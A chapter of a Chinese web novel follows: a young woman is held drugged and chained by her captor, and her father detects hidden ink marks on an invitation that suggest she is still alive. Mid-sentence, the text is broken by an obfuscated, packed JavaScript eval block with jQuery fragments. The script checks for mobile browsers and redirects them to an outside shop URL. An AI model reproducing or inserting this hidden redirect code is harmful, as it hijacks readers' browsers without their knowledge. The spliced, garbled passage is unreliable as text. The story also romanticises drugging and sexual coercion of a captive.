不知过了多久,苏焕青才悠悠转醒。她慢吞吞地支撑着身体坐起来,只觉得浑身麻木。四肢格外无力,苏焕青不得不尽力绷紧肌肉,却仍旧控制不住,手臂隐隐约约地发着抖。
在她感到支撑不住之前,一双手臂就从身后越过,将她揽在了怀里。苏焕青被带着向后靠在一个柔软的怀抱中,这让她觉得好受了一些。
直到这时,她似乎才有力气去留意四周。
这并不是她熟悉的床铺,她脉星宫的床褥绝对没有这么大这么宽,更不可能有夸张的高吊幔帐。床边像围栏一样被封了起来,像是某种精致的展柜。从头顶垂落的金色链条一直向下,没入她的软背之中。其上点缀着五颜六色的珠宝,苏焕青简单数了数,大概有数十种。
那链条做工精致,并非简单的随机组合,而是用珐琅雕花勾勒出一条枝蔓。仿佛所有的宝石都是其上生长的花朵。苏焕青刚刚感慨了一下这东西品味不错,身后就有一只手轻轻捏住她的手腕,把她的手臂抬了起来。
“姐姐看上去很喜欢?”
少年压低的气声吹在耳畔,随着他将少女的手抬起,那链条也随着一道晃动……苏焕青这才看到那链条是从上方连到她自己身上的。
苏焕青呼吸一窒。
托苏无忆的福,看到这么夸张的场面,她已经不会眼前发黑了。苏焕青甚至在脑海中感慨了一句“原作女主被钟回关起来时都没描述的如此夸张”。就想假装看不见的闭上眼。
只要她看不见,就能当不存在。苏无忆还能作什么妖?
但苏无忆根本不想放过她。
“好看吗?”感觉到自己的手被对方握住,少女的五指卡入她的指缝,似乎很愉快地晃了晃。
这一晃,苏焕青就察觉到,和手腕处相连的其他部分似乎也在跟着振动。她心底的惊诧还没确认,苏无忆就握着她的腰摩挲着,靠近她的耳畔道:“不仅仅是手腕,脖颈、脚踝、还有腰窝,都有。”
“链子连接在这些部位,就像藤蔓缠绕上来……姐姐,真的非常好看。”
像是真心想得到少女的认可,苏无忆坚持不懈地道:“姐姐,你不好奇吗?不想看一看你有多好看吗?”
“……”
苏焕青浑身上下使不上力气,否则她横竖要给苏无忆一个禁言惩罚。
.
类似的事在接下来的几天内数不胜数。苏焕青心如磐石,苏无忆就是那磨平巨石棱角的春水;苏焕青心无旁骛,苏无忆就当那勾引圣人的妖精;苏焕青心如古井,苏无忆就是那涓涓泉水,不涌江海,非要一浪一浪地拍打古井石壁,乐于将这枯井填满。
苏无忆就像一滴水,非要凿穿她这坚固的玉石。苏焕青有时候不堪其扰,也会让这心怀不轨的小人得逞。
“姐姐,这样的姿势你觉得怎么样?你为什么不说话,是力气不够了吗?那药不会影响你说话的,刚刚不还叫出了声么?”
“姐姐,舒服的话就说点让我高兴的话吧?不要总是想着出去,我会保证苏大人的安全的。你就安心的呆在这里吧?你看,如果没有后顾之忧的话,就这样一直下去是不是也很好?”
“你又累了,怎么累的那么快。姐姐,你不能只顾自己呀,下一次稍微坚持一会吧?让我也高兴高兴……”
甜言蜜语不过如是。有着现代记忆的苏焕青到底不同于古代女子,她知道人活着无非就三种欲.望,情..欲、爱..欲、食..欲。而当这其中的两种被满足时,另一种欲..望也会随之攀升。
正向的激素互相刺激,人就会陷入爱恋。
.
被迫得知了女儿的死讯,苏辰这些天一直闭门不出。无论外面陛下推迟祭天的事闹的多么沸沸扬扬,又有多少人认为他这位天下无双的才子应当站出来带领众多文人发声,苏辰都坚持呆在自己的府内,对一切不闻不问。
他年过四旬,又在极短的时间内反复经历了丧女、失而复得和再次失去的过程,一时之间对朝堂之上那些弯弯绕绕彻底失望,再也不愿参与分毫。
这样的日子持续了许多天,每天都有人找上门来要求他出面抗议,更有甚者声称他也被官场腐败污染,不过是那些世家子弟的一丘之貉。苏辰过去或许能写长篇大论出口成章把面前这个无理取闹出言不逊的蠢人骂得一无是处一事无成……但他现在只是低着头,一个眼神也不给。
所以,就算后来皇帝不顾礼乐崩坏,坚持要先举办秋狩之后再祭天,苏辰也没什么想法。
外面闹的沸沸扬扬,各地的文人都在上奏谴责,苏辰却只是看着送到自己桌面上的请柬,心无一物。
这请柬是苏无忆写的。苏辰不知道这家伙现在在陛下哪里到底是个什么角色,怎么上到政事下到食饷,只要是他想做的事,都允许他参与。
现在好了,连一个秋狩的请柬也让他来写。
苏辰对苏无忆其实是有些怨气的。毕竟自己的宝贝女儿出了事,苏无忆作为一直陪在苏焕青身边的人,不可能一无所知。可当苏辰问起来时,苏无忆给的回信中永远都是一些不轻不重的内容。
那不是苏辰想看的。苏辰想知道究竟是谁害了苏焕青,他不明白,能把许家查个水落石出日断三案的“活判官”的苏无忆,怎么到了他女儿这里,就失去了神通?!
越想越无法心如止水。苏辰盯着面前的请柬,忽然生出了些许将之丢弃的冲动。这次他也一样打算称病。
可就在苏辰抬起手攥住那张纸的时候,他却突然愣住了。
不对劲!
在苏无忆送来的请柬上,有一些很微弱的墨点,不细看根本看不清。
寻常人可能不会在意,可苏辰却是记得的。在阿青还小的时候,小女孩粘人,总是要在他写字的时候打扰他。
苏辰纵容,于是小焕青就围着他,在他写奏疏时凑过来,非要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331929|196442||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮他研墨。
可苏焕青性子急躁,根本就没有研墨的耐性,往往一块墨没有融尽,就被她乱研一通,以至于会有及其细微的墨点飞溅在他的纸面。
因为不细看根本看不到,所以苏辰也没太当回事。可如今,这一点迹象却像是在暗示某种可能,令苏辰心跳都快了数分。
阿青可能还活着,不仅活着,而且,就在苏无忆身边!
苏辰迫不及待地将桌面上的纸张收起来,随便穿了件衣物就往外跑。他根本没想过自己的女儿还活着,再次失而复得的喜悦让他一时失了分寸,差点撞到府内的老仆。
“老爷,什么事让您这般急切?越是急的事越应该冷静下来想想,是不是哪里有问题?您现在就这样出去,真的能得到您迫切想要得到的东西吗?”
老仆跟着苏辰多年,知道苏辰的脾性,当即将人拦住,“真正的好消息不会消失,反而越是急着抓住的东西越可能存在陷阱,老爷您是文人,熟读经书论理,必然也知道三思而后行的道理。”
“……”
苏辰这才冷静下来。
秋狩不过是世家讨个喜头的游戏罢了,世家之子在其中若是表现好了,声望自然可以上升,若是表现没那么好,那也没什么。但邀请他这样一个文官过去,就是纯看戏了。
他多半其实是因为有苏无忆这层关系在,属于苏无忆的长辈,才受邀出席。这种事,放在往年是绝对没有的。
她的女儿可能在苏无忆身边,但这件事若是真的,苏无忆为什么不告诉他?且若是阿青自由自在,又如何需要用这般复杂的方式传递消息?
苏无忆本就是因为阿青才和苏辰有了交集,在这之前,苏焕青在哪里遇到的苏无忆,又是如何和苏无忆扯上关系的,苏辰一概不知。
若不是阿青当时说要他相信苏无忆,他恐怕也很难帮这样一个身份不明的人入朝为官。
苏无忆的心思难猜,但苏焕青的意图却很明显。苏焕青在这张纸上留下信息,一定是希望他能去参加这次秋狩。
苏辰不知道苏焕青想要什么,更不知道在少女身上究竟发生了什么……但无论如何,这一定是个他能见到苏焕青,甚至救下苏焕青的机会!
虽不知究竟发生了什么,但眼看着面前的男人渐渐冷静下来,甚至目光逐渐沉静,阻拦的老仆不确定地开口:“老爷,可是有想法了?”
“对!”苏辰将请柬揣回袖中。那封请柬被他小心地放好,不敢损耗分毫。再回身时,苏辰的焦灼的神情已经彻底淡下去了。
文人的傲慢和清高重新回到他的身上。而文人,是最骂不得的。
苏辰命道:“来人,备纸笔!把送来的书信都整理好送去书房,我一个一个回他们!”
为了苏焕青,皇帝的秋狩必须尽快举行。至于那些谩骂阻碍的言论,他一个一个堵回去!
他一介文人,最不怕的就是舌战群儒!